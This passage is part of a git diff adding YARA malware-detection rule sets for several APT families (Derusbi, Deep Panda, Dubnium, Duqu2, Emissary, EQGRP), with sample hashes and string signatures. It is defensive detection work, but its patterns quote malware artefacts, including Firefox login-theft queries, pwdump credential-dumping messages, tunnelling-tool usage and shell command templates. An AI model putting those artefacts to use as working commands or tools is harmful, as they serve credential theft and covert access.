+        $s5 = "_shellcode_32" fullword ascii
+        $s6 = "todo: unknown 32-bit target" fullword ascii 
+    condition:
+        uint16(0) == 0x5746 and 1 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_danti_svcmondr.yar b/yara-mikesxrs/Florian Roth/apt_danti_svcmondr.yar
new file mode 100644
index 0000000..b02be11
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_danti_svcmondr.yar	
@@ -0,0 +1,70 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-25
+	Identifier: Kaspersky Report on threats involving CVE-2015-2545
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Mal_Dropper_httpEXE_from_CAB {
+	meta:
+		description = "Detects a dropper from a CAB file mentioned in the article"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 60
+		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
+	strings:
+		$s1 = "029.Hdl" fullword ascii
+		$s2 = "http.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) )
+}
+
+rule Mal_http_EXE {
+	meta:
+		description = "Detects trojan from APT report named http.exe"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 80
+		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
+		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
+		$x3 = "\\dumps.dat" fullword ascii
+		$x4 = "\\wordpade.exe" fullword ascii
+		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
+		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
+		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
+		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii /* base64: pKY1[1 */
+
+		$s1 = "SELECT * FROM moz_logins;" fullword ascii
+		$s2 = "makescr.dat" fullword ascii
+		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
+		$s4 = "?moz-proxy://" fullword ascii
+		$s5 = "[%s-%s] Title: %s" fullword ascii
+		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
+		$s7 = "Windows 95 SR2" fullword ascii
+		$s8 = "\\|%s|0|0|" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 2 of ($s*) ) ) or ( 3 of ($x*) )
+}
+
+rule Mal_PotPlayer_DLL {
+	meta:
+		description = "Detects a malicious PotPlayer.dll"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 70
+		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
+	strings:
+		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
+
+		$s3 = "PotPlayer.dll" fullword ascii
+		$s4 = "\\update.dat" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $x1 or all of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_deeppanda.yar b/yara-mikesxrs/Florian Roth/apt_deeppanda.yar
new file mode 100644
index 0000000..e77db52
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_deeppanda.yar	
@@ -0,0 +1,92 @@
+/* Deep Panda APT */
+
+rule DeepPanda_sl_txt_packed {
+	meta:
+		description = "Hack Deep Panda - ScanLine sl-txt-packed"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
+	strings:
+		$s0 = "Command line port scanner" fullword wide
+		$s1 = "sl.exe" fullword wide
+		$s2 = "CPports.txt" fullword ascii
+		$s3 = ",GET / HTTP/.}" fullword ascii
+		$s4 = "Foundstone Inc." fullword wide
+		$s9 = " 2002 Foundstone Inc." fullword wide
+		$s15 = ", Inc. 2002" fullword ascii
+		$s20 = "ICMP Time" fullword ascii
+	condition:
+		all of them
+}
+
+rule DeepPanda_lot1 {
+	meta:
+		description = "Hack Deep Panda - lot1.tmp-pwdump"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
+	strings:
+		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+		$s2 = "Target: Failed to load SAM functions." fullword ascii
+		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
+		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
+		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
+		$s12 = "PwDump.exe" fullword ascii
+		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
+		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
+		$s16 = "dump logon session" fullword ascii
+		$s17 = "Timed out waiting to get our pipe back" fullword ascii
+		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
+		$s20 = "%s\\%s.exe" fullword ascii
+	condition:
+		10 of them
+}
+
+rule DeepPanda_htran_exe {
+	meta:
+		description = "Hack Deep Panda - htran-exe"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
+	strings:
+		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "e:\\VS 2008 Project\\htran\\Release\\htran.pdb" fullword ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s5 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii
+		$s7 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s8 = "======================== htran V%s =======================" fullword ascii
+		$s9 = "[-] Socket Listen error." fullword ascii
+		$s10 = "[-] ERROR: open logfile" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s12 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s14 = "Recv %5d bytes from %s:%d" fullword ascii
+		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s16 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s17 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+	condition:
+		10 of them
+}
+
+rule DeepPanda_Trojan_Kakfum {
+	meta:
+		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
+		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
+	strings:
+		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
+		$s1 = "%s\\sqlsrv32.dll" fullword ascii
+		$s2 = "%s\\sqlsrv64.dll" fullword ascii
+		$s3 = "%s\\%d.tmp" fullword ascii
+		$s4 = "ServiceMaix" fullword ascii
+		$s15 = "sqlserver" fullword ascii
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_derusbi.yar b/yara-mikesxrs/Florian Roth/apt_derusbi.yar
new file mode 100644
index 0000000..0de65c2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_derusbi.yar	
@@ -0,0 +1,115 @@
+/*
+	Yara Rule Set
+	Author: Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud
+	Date: 2015-12-09
+   Reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
+	Identifier: Derusbi Dez 2015
+*/
+
+rule derusbi_kernel
+{
+    meta:
+        description = "Derusbi Driver version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+    strings:
+        $token1 = "$$$--Hello"
+        $token2 = "Wrod--$$$"
+        $cfg = "XXXXXXXXXXXXXXX"
+        $class = ".?AVPCC_BASEMOD@@"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and $token1 and $token2 and $cfg and $class
+}
+
+rule derusbi_linux
+{
+    meta:
+        description = "Derusbi Server Linux version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+    strings:
+        $PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+        $cmd = "unset LS_OPTIONS;uname -a"
+        $pname = "[diskio]"
+        $rkfile = "/tmp/.secure"
+        $ELF = "\x7fELF"
+    condition:
+        $ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-15
+	Identifier: Derusbi Dez 2015
+*/
+
+rule Derusbi_Kernel_Driver_WD_UDFS {
+	meta:
+		description = "Detects Derusbi Kernel Driver"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 80
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
+	strings:
+      $x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+      $x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+      $x3 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
+      $x5 = "$$$--Hello" fullword ascii
+      $x6 = "Wrod--$$$" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" fullword wide
+		$s4 = "\\Driver\\nsiproxy" fullword wide
+		$s5 = "HOST: %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+      (
+         2 of ($x*) or all of ($s*)
+      )
+}
+
+rule Derusbi_Code_Signing_Cert {
+	meta:
+		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 40
+   strings:
+      $s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
+      $s2 = "XL Games Co.,Ltd.0" fullword ascii
+      $s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and 1 of them
+}
+
+rule XOR_4byte_Key {
+	meta:
+		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 60
+   strings:
+      /* Op Code */
+      $s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
+      /*
+      test    ecx, ecx
+      jz      short loc_590170
+      xor     [esi], eax
+      add     [esi], ebx
+      add     esi, 4
+      dec     ecx
+      jmp     short loc_590162
+      */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_dubnium.yar b/yara-mikesxrs/Florian Roth/apt_dubnium.yar
new file mode 100644
index 0000000..07e0f1a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_dubnium.yar	
@@ -0,0 +1,138 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: Dubnium
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Dubnium_Sample_1 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+	strings:
+		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
+		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Dubnium_Sample_2 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+	strings:
+		$x1 = ":*:::D:\\:c:~:" fullword ascii
+		$s2 = "SPMUVR" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule Dubnium_Sample_3 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
+		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
+		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
+	strings:
+		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
+		$x2 = "del /f \"%s\" " fullword ascii
+		$s1 = "del /f /ah \"%s\" " fullword ascii
+		$s2 = "if exist \"%s\" goto Rept " fullword ascii
+		$s3 = "\\*.*.lnk" fullword ascii
+		$s4 = "Dropped" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of them
+}
+
+rule Dubnium_Sample_5 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
+		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_6 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+	strings:
+		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
+		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
+		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule Dubnium_Sample_7 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
+		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_SSHOpenSSL {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "sshkeypairgen.exe" fullword wide
+		$s2 = "OpenSSL: FATAL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_duqu2.yar b/yara-mikesxrs/Florian Roth/apt_duqu2.yar
new file mode 100644
index 0000000..e07c8b2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_duqu2.yar	
@@ -0,0 +1,94 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-02
+	Identifier: Duqu2
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Duqu2_Sample1 {
+	meta:
+		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
+		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
+		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
+		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "MSI.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 ) or ( all of them )
+}
+
+rule Duqu2_Sample2 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
+		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
+		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
+		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
+		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
+		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
+	strings:
+		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
+		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of ($s*)
+}
+
+rule Duqu2_Sample3 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+	strings:
+		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and $s1 )
+}
+
+rule Duqu2_Sample4 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
+		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
+		$s4 = "ProcessUserAccounts" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) ) or ( all of them )
+}
+rule Duqu2_UAs {
+	meta:
+		description = "Detects Duqu2 Executable based on the specific UAs in the file"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
+		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
+	strings:
+		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
+		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
+		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
+		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 800KB and all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_emissary.yar b/yara-mikesxrs/Florian Roth/apt_emissary.yar
new file mode 100644
index 0000000..55fd2d5
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_emissary.yar	
@@ -0,0 +1,41 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-02
+	Identifier: Emissary Malware
+*/
+
+rule Emissary_APT_Malware_1 {
+	meta:
+		description = "Detect Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
+		author = "Florian Roth"
+		reference = "http://goo.gl/V0epcf"
+		date = "2016-01-02"
+		score = 75
+		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
+		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
+		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
+		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
+		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
+		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
+		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
+		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
+		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
+		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
+		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
+		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
+		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
+	strings:
+		$s1 = "cmd.exe /c %s > %s" fullword ascii
+		$s2 = "execute cmd timeout." fullword ascii
+		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
+		$s4 = "DownloadFile - exception:%s." fullword ascii
+		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
+		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
+		$s7 = "WinDLL.dll" fullword wide
+		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
+		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 3 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_eqgrp.yar b/yara-mikesxrs/Florian Roth/apt_eqgrp.yar
new file mode 100644
index 0000000..c2a1423
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_eqgrp.yar	
@@ -0,0 +1,1213 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-15
+	Identifier: EQGRP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EQGRP_noclient_3_0_5 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
+		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
+		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
+		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 700KB and 1 of them ) or ( all of them )
+}
+
+rule EQGRP_installdate {
+	meta:
+		description = "Detects tool from EQGRP toolset - file installdate.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
+		$x2 = "print \"Gimme hex: \";" fullword ascii
+		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
+
+		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
+		$s2 = "if (not($cmdInput)) {" fullword ascii
